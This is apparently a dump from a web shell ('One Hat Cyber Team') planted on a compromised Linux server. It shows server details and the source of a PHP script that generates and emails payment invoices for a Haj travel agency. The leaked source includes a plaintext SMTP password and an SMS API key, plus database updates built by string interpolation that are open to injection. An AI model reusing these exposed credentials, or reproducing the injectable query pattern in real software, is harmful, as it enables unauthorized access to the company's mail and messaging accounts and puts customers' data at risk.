One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
public_html
/
fpdf
/
View File Name :
agtest.php
<? session_start(); error_reporting(0); include('../config.php'); /* $amt = $_POST['amt']; */ $apgst = $_SESSION["apgst"]; $main = $_SESSION['main']; $amt = $_SESSION['apamt']; $apgamt = $_SESSION["apgamt"]; $pack = $_SESSION['pack']; $cls = $_SESSION['cls']; $name = $_SESSION['name']; $mob = $_SESSION['mob']; $mail1 = $_SESSION['mail']; $appno = $_SESSION['appno']; $date1 = $_SESSION['date']; $apcity = $_SESSION["apcity"]; $apstate = $_SESSION["apstate"]; $appcod = $_SESSION["appcod"]; $date = date("d.m.Y/ h:ia", strtotime($date1)); $add = $_SESSION["apadd"]; $addc= $_SESSION["apaddc"]; $cou = $_SESSION["cou"]; $count= $cou + 1; $bankname = '-'; $chequeno = '-'; $chequedate = '-'; $chequeamt = '-'; $blno = $_SESSION["blno"]; $i=1; $code = $blno; $inv = $_SESSION["inno"]; $percentToGet = 2.5; $percentInDecimal = $percentToGet / 100; $percent = $percentInDecimal * $amt; $percent; $rem = $amt+($percent *2); $first = number_format($amt, 2, '.', ''); ?><br> <? $percent; $second = number_format($percent, 2, '.', ''); ?><br> <? $percent1=$percent+$percent; $fourth = number_format($percent1, 2, '.', ''); ?><br> <? $amt; $third= number_format($rem, 2, '.', ''); ?> <?php // (c) Xavier Nicolay // Exemple de génération de devis/facture PDF require('ninvoice.php'); $pdf = new PDF_Invoice( 'P', 'mm',array(210,299) ); $pdf->AddPage(); $qr = file_get_contents('006_file.png'); $pdf->addSociete( "SHA HAJ SERVICE INDIA PRIVATE LIMITED", "Old No:35 New No:71\nSri Venkatesh Bhavan\nPortion-D Third Floor\nArmenian Street | Chennai-600 001 \nTamilnadu, India. \nPhone: 94451 50009 \nEmail: info@shahajservice.com \nState Code: 33\nGSTIN: 33AAQCS0293L1ZX"); if($addc) { $pdf->addSociete1( "Customer: $name", "$add \n$addc \n$apcity, $apstate, $appcod.\nPhone: $mob\nMail: $mail1\nGSTIN: $apgst \nPlace of Supply: $apstate"); } else { $pdf->addSociete1( "Customer: $name", "$add \n$apcity, $apstate\n$appcod.\nPhone: $mob\nMail: $mail1\nGSTIN: $apgst \nPlace of Supply: $apstate"); } $pdf->addSociete3( "IMPORTANT NOTE", "* No cash and D.D payment is allowed. \n* You are requested to pay the amount only through Online Payment or Debit/Credit Card or Cheque or RTGS. Cheque should \n be in favour of SHA HAJ SERVICE INDIA PRIVATE LIMITED. You can pay your selected package amount in terms of 10 dues maximum. All \n payments should be routed through banking account of the pilgrims only, as per the rules of MINISTRY OF MINORITY AFFAIRS. \n* No cash payment or Blank Cheque should be in anybody's name or to any one, who states that he is in our company. Our company is not\n responsible for such conditions. \n* The original passport, photos, original application form and also Aadhaar and individual Pan card Xerox copies with signature on it of respective\n Haji must be submitted to our Registration office only within 7 working days after registration. If the haji available in India, should send all the\n required original documents to our registration office directly. If not send directly to our registration office. The company will not be responsible\n for your documents until we confirm receiving. \n* If you access through incharge of SHA HAJ SERVICE in particular area, your name will be registered only after receiving the cheque by the registration\n office from your respective incharge. To know whether the incharge belongs to our company or not, check it out through our website\n https://www.shahajservice.com or directly contact only our registration office. (Contact: 94451 50009). \n* For cancellation of booking before visa stamping, our service charge of Rs. 25,000/- will be deducted, balance amount will be refund by cheque only.\n For cancellation of booking after visa stamping, the service charge of 80% will be deducted from the selected package amount, balance amount will \n be refunded only as cheque after completion the HAJ season (these charges are non-refundable and cannot be adjusted either). "); $pdf->addSociete4( "NOTICE", "* Please verify your email ID and contact number to continue receiving your payment and other details. \n* For further queries and clarification please do contact us:9445150009; we'll be glad to hear from you. "); $pdf->addSocietes1( "REGISTRATION OFFICE: CHENNAI |"); $pdf->addSocietes2( "SUBJECT TO REALIZATION |"); $pdf->addSocietes3( "Visit www.shahajservice.com for various payment options."); $pdf->addSocietesnew( "******************* This is an electronically generated tax invoice / receipt and does not require any stamp or signature *******************"); /* $pdf->addSocietesgst( "Place of Supply: $apstate"); */ $pdf->addSocietesgst1( "(The amount charged is the gross amount charged for such services including accommodation, transport required and other charges for such tour.)"); /* $pdf->fact_dev( "Devis ", "TEMPO" ); */ /* $pdf->addClientAdresse("\n Phone: $mob\n Mail: $mail"); */ /* $pdf->temporaire( "Sha Haj Service" ); */ $pdf->addDate( "$date"); $pdf->addClient("$appno"); $pdf->addref("$blno"); $pdf->bar("$code"); $logo = file_get_contents('logo2.png'); $pdf->MemImage($qr,182,170,20,0,'PNG'); // Output it $pdf->MemImage($logo,10,10,20,0,'PNG'); /* $pdf->invno("Invoice No: $inv"); */ /* $pdf->Image('https://www.shahajservice.com/images/icons/logo2.png',60,30,90,0,'PNG'); */ /* $image1 = "logo2.png"; $this->Cell( 40, 40, $pdf->Image($image1, $pdf->GetX(), $pdf->GetY(), 33.78), 0, 0, 'L', false ); // $pdf->addPageNumber("1"); /* $pdf->addReglement("Chèque à réception de facture"); */ /* $pdf->addEcheance("03/12/2003"); $pdf->addNumTVA("FR888777666"); $pdf->addReference("Devis ... du ...."); */ $cols=array( "PREFERRED PAYMENT METHOD" => 61, "BANK NAME" => 55, "NUMBER" => 25, "DATE" => 26, "AMOUNT" => 23); $pdf->addCols( $cols); $cols=array( "PREFERRED PAYMENT METHOD" => "C", "BANK NAME" => "C", "NUMBER" => "C", "DATE" => "C", "AMOUNT" => "C"); $pdf->addLineFormat( $cols); $pdf->addLineFormat($cols); $y = 159; $y += $size + 2; $line = array( "PREFERRED PAYMENT METHOD" => "Online", "BANK NAME" => "$bankname" , "NUMBER" => "$chequeno", "DATE" => "$chequedate", "AMOUNT" => "$chequeamt"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $cols=array( "S.NO" => 23, "SERVICE" => 68, "QUANTITY" => 30, "SAC" => 28, "TOTAL" => 41); $pdf->addCols1( $cols); $cols=array( "S.NO" => "C", "SERVICE" => "L", "QUANTITY" => "C", "SAC" => "L", "TOTAL" => "R"); $pdf->addLineFormat( $cols); $pdf->addLineFormat($cols); $y = 94; $line = array( "S.NO" => "1", "SERVICE" => " $main - $pack - $cls \n" , "QUANTITY" => "1", "SAC" => "", "TOTAL" => "$first"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $line = array( "S.NO" => "", "SERVICE" => "" , "QUANTITY" => "", "SAC" => "9985", "TOTAL" => ""); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $var1 = "TAMIL NADU"; $var2 = "TAMILNADU"; $apstate1 = strtoupper($apstate); if(strcasecmp($apstate, $var2) == 0 || strcasecmp($apstate, $var1) == 0 || strncmp($apstate1, $var1, 3) == 0) { $fourth ="-"; } else { $second ="-"; } $line = array( "S.NO" => "", "SERVICE" => "" , "QUANTITY" => "", "SAC" => "IGST@ 5%", "TOTAL" => "$fourth"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $line = array( "S.NO" => "", "SERVICE" => "" , "QUANTITY" => "", "SAC" => "CGST@ 2.5%", "TOTAL" => "$second"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $line = array( "S.NO" => "", "SERVICE" => "" , "QUANTITY" => "", "SAC" => "SGST@ 2.5%", "TOTAL" => "$second"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $y += $size + 8; $line = array( "S.NO" => "", "SERVICE" => " " , "QUANTITY" => "", "SAC" => "", "TOTAL" => "-------------------------------"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; $line = array( "S.NO" => "", "SERVICE" => " " , "QUANTITY" => "", "SAC" => "Grand Total", "TOTAL" => "$third"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; /* $line = array( "REFERENCE" => "REF2", "DESIGNATION" => "Câble RS232", "QUANTITE" => "1", "P.U. HT" => "10.00", "MONTANT H.T." => "60.00", "TVA" => "1" ); $size = $pdf->addLine( $y, $line ); $y += $size + 2; */ /* $pdf->addCadreTVAs(); $pdf->addCadreTVAs(); */ // invoice = array( "px_unit" => value, // "qte" => qte, // "tva" => code_tva ); // tab_tva = array( "1" => 19.6, // "2" => 5.5, ... ); // params = array( "RemiseGlobale" => [0|1], // "remise_tva" => [1|2...], // {la remise s'applique sur ce code TVA} // "remise" => value, // {montant de la remise} // "remise_percent" => percent, // {pourcentage de remise sur ce montant de TVA} // "FraisPort" => [0|1], // "portTTC" => value, // montant des frais de ports TTC // // par defaut la TVA = 19.6 % // "portHT" => value, // montant des frais de ports HT // "portTVA" => tva_value, // valeur de la TVA a appliquer sur le montant HT // "AccompteExige" => [0|1], // "accompte" => value // montant de l'acompte (TTC) // "accompte_percent" => percent // pourcentage d'acompte (TTC) // "Remarque" => "texte" // texte /* $tot_prods = array( array ( "px_unit" => 600, "qte" => 1, "tva" => 1 ), array ( "px_unit" => 10, "qte" => 1, "tva" => 1 )); $tab_tva = array( "1" => 19.6, "2" => 5.5); $params = array( "RemiseGlobale" => 1, "remise_tva" => 1, // {la remise s'applique sur ce code TVA} "remise" => 0, // {montant de la remise} "remise_percent" => 10, // {pourcentage de remise sur ce montant de TVA} "FraisPort" => 1, "portTTC" => 10, // montant des frais de ports TTC // par defaut la TVA = 19.6 % "portHT" => 0, // montant des frais de ports HT "portTVA" => 19.6, // valeur de la TVA a appliquer sur le montant HT "AccompteExige" => 1, "accompte" => 0, // montant de l'acompte (TTC) "accompte_percent" => 15, // pourcentage d'acompte (TTC) "Remarque" => "Avec un acompte, svp..." ); $pdf->addTVAs( $params, $tab_tva, $tot_prods); $pdf->addCadreEurosFrancs(); */ // Output it $fileName = 'shahaj-' . $appno .'-'.$count. '.pdf'; $pdf->Output($fileName,'F'); $filename='shahaj-' . $appno ; $_SESSION['filename']=$filename; $to = "$mail1"; /* $from = "postmaster@shahajservice.com"; $cc = "postmaster@shahajservice.com"; $subject = "Shahaj Service Invoice"; $message = "<p>Please see the attachment.</p>"; // a random hash will be necessary to send mixed content $separator = md5(time()); // carriage return type (we use a PHP end of line constant) $eol = PHP_EOL; */ // attachment name /* $filename = "test.pdf"; */ // encode data (puts attachment in proper format) /* $pdfdoc = $pdf->Output("$fileName", "S"); $attachment = chunk_split(base64_encode($pdfdoc)); */ require '../PHPMailer-master/PHPMailerAutoload.php'; $mail = new PHPMailer; /* $mail->SMTPDebug = 2; */ // Enable verbose debug output $mail->isSMTP(); // Set mailer to use SMTP $mail->Host = 'mail.shahajservice.com'; // Specify main and backup SMTP servers $mail->SMTPAuth = true; // Enable SMTP authentication $mail->Username = 'postmaster@shahajservice.com'; // SMTP username $mail->Password = 'w3solutions12@'; /* $mail->SMTPSecure = "ssl"; */ // SMTP password //$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted $mail->Port = 587; // TCP port to connect to $mail->From = 'postmaster@shahajservice.com'; $mail->FromName = 'SHA HAJ SERVICE'; $mail->addAddress($to); $mail->AddCC('postmaster@shahajservice.com'); $mail->isHTML(true); $mail->Subject = 'Sha Haj Service Receipt'; $mail->Body = "<p>Assalamu Alaikum. Thank you for your payment. You have paid Rs. $apgamt. Thank you for using Sha Haj Service</p> <p>Kindly find the attached file.</p> <p>With Regards </p> <h2 style='color:#00407f;'>SHA HAJ SERVICE INDIA PRIVATE LIMITED</h2> <p>APPROVED BY GOVT OF INDIA AND KSA | ISO CERTIFIED COMPANY</p> <h4 style='color:#8fca40;'><b>HAJ | UMRAH | ZIYARAH | AIRTICKET</b></h4> <p><j style='color:#00407f;'>REGISTRATION OFFICE</j> <br> OLD NO: 35 NEW NO: 71 | SRI VENKATESH BHAVAN | <br> PORTION-D THIRD FLOOR | ARMENIAN STREET | <br> CHENNAI -600 001 | TAMIL NADU | INDIA. <br> PHONE: 044 4262 0009 | INDIA: 94451 50009 | SAUDI: 05018 71553.</p> <label>Website: <u style='color:#234786;'> www.shahajservice.com </u> </label> <label>E-mail:</label> <u style='color:#234786;'> info@shahajservice.com | shahajservice@yahoo.com | shahajservice@gmail.com | airticket@shahajservice.com</u>"; $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; $mail->addAttachment($fileName, $fileName); $mail->send(); // main header /* $headers = "From: ".$from.$eol; $headers .= 'Cc: '.$cc.$eol; $headers .= "MIME-Version: 1.0".$eol; $headers .= "Content-Type: multipart/mixed; boundary=\"".$separator."\""; // no more headers after this, we start the body! // $body = "--".$separator.$eol; $body .= "Content-Transfer-Encoding: 7bit".$eol.$eol; $body .= "Greeting From SHA HAJ SERVICE INDIA PVT, LTD We thank you for your payment .".$eol; // message $body .= "--".$separator.$eol; $body .= "Content-Type: text/html; charset=\"iso-8859-1\"".$eol; $body .= "Content-Transfer-Encoding: 8bit".$eol.$eol; $body .= $message.$eol; // attachment $body .= "--".$separator.$eol; $body .= "Content-Type: application/octet-stream; name=\"".$fileName."\"".$eol; $body .= "Content-Transfer-Encoding: base64".$eol; $body .= "Content-Disposition: attachment".$eol.$eol; $body .= $attachment.$eol; $body .= "--".$separator."--"; // send message mail($to, $subject, $body, $headers); */ if($i=='1') { $username = 'SHAHAJ'; $key = '9fc19b3ab1XX'; $mobile = $mob; $sender = 'SHAHAJ'; $accusage = '1'; $smstext = "Assalamu Alaikum. Thank you for your payment. You have paid Rs. $apgamt for $main - $pack - $cls package. Thank you for using Sha Haj Service. Mobile: 94451 50009. www.shahajservice.com"; $message = urlencode($smstext); $data = 'user='.$username.'&key='.$key."&mobile=".$mobile."&message=".$message."&senderid=".$sender."&accusage=".$accusage ; $ch = curl_init('http://mobicomm.dove-sms.com/submitsms.jsp?'.$data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $i++; } ?> <? include('../config.php'); session_start(); $appno=$_SESSION["appno"]; $filename=$_SESSION['filename']; $amt = $_SESSION['amt']; $apbal = $_SESSION['apbal']; $apgbal = $_SESSION['apgbal']; date_default_timezone_set('Asia/Calcutta'); $v=date("Y-m-d H:i:s"); $querybill=mysql_query("select * from newapplication where AP_NO='".$appno."'"); $rowbill=mysql_fetch_array($querybill); $bdate = date("Y-m-d", strtotime($v)); if($rowbill['BILL1'] == "0") { $que1 = mysql_query("update newapplication set BILL1='$apgamt',BILL1DATE='$bdate',BILL1METHOD='Online',BILL1NO='$blno',CHEQUE1='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL2'] == "0") { $que1 = mysql_query("update newapplication set BILL2='$apgamt',BILL2DATE='$bdate',BILL2METHOD='Online',BILL2NO='$blno',CHEQUE2='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL3'] == "0") { $que1 = mysql_query("update newapplication set BILL3='$apgamt',BILL3DATE='$bdate',BILL3METHOD='Online',BILL3NO='$blno',CHEQUE3='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL4'] == "0") { $que1 = mysql_query("update newapplication set BILL4='$apgamt',BILL4DATE='$bdate',BILL4METHOD='Online',BILL4NO='$blno',CHEQUE4='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL5'] == "0") { $que1 = mysql_query("update newapplication set BILL5='$apgamt',BILL5DATE='$bdate',BILL5METHOD='Online',BILL5NO='$blno',CHEQUE5='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL6'] == "0") { $que1 = mysql_query("update newapplication set BILL6='$apgamt',BILL6DATE='$bdate',BILL6METHOD='Online',BILL6NO='$blno',CHEQUE6='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL7'] == "0") { $que1 = mysql_query("update newapplication set BILL7='$apgamt',BILL7DATE='$bdate',BILL7METHOD='Online',BILL7NO='$blno',CHEQUE7='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL8'] == "0") { $que1 = mysql_query("update newapplication set BILL8='$apgamt',BILL8DATE='$bdate',BILL8METHOD='Online',BILL8NO='$blno',CHEQUE8='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL9'] == "0") { $que1 = mysql_query("update newapplication set BILL9='$apgamt',BILL9DATE='$bdate',BILL9METHOD='Online',BILL9NO='$blno',CHEQUE9='$chequeno' WHERE AP_NO='".$appno."'"); } elseif($rowbill['BILL10'] == "0") { $que1 = mysql_query("update newapplication set BILL10='$apgamt',BILL10DATE='$bdate',BILL10METHOD='Online',BILL10NO='$blno',CHEQUE10='$chequeno' WHERE AP_NO='".$appno."'"); } else {?> <script> alert("Unable to save this bill details"); </script> <?} if($appno) { $que1 = mysql_query("update newapplication set AP_BILL='$filename',AP_BLDATE='$v',AP_AMT='$apbal'+'$amt',AP_GAMT='$apgbal'+'$apgamt',AP_LASTAMT='$amt',AP_LASTPAY='$apgamt',AP_COUNT='$count' WHERE AP_NO='".$appno."'"); $blno1 = $blno + 1; $que1 = mysql_query("update bill set BL_NO='$blno1' WHERE BL_ID='1'"); if($que1){?> <script>alert("Payment updated sucessfully"); location.href = '../thank.php'; </script> <? }}else{ ?> <h1>Not Updated </h1> <? } ?> <script type="text/javascript"> location.href = '../index.php'; </script>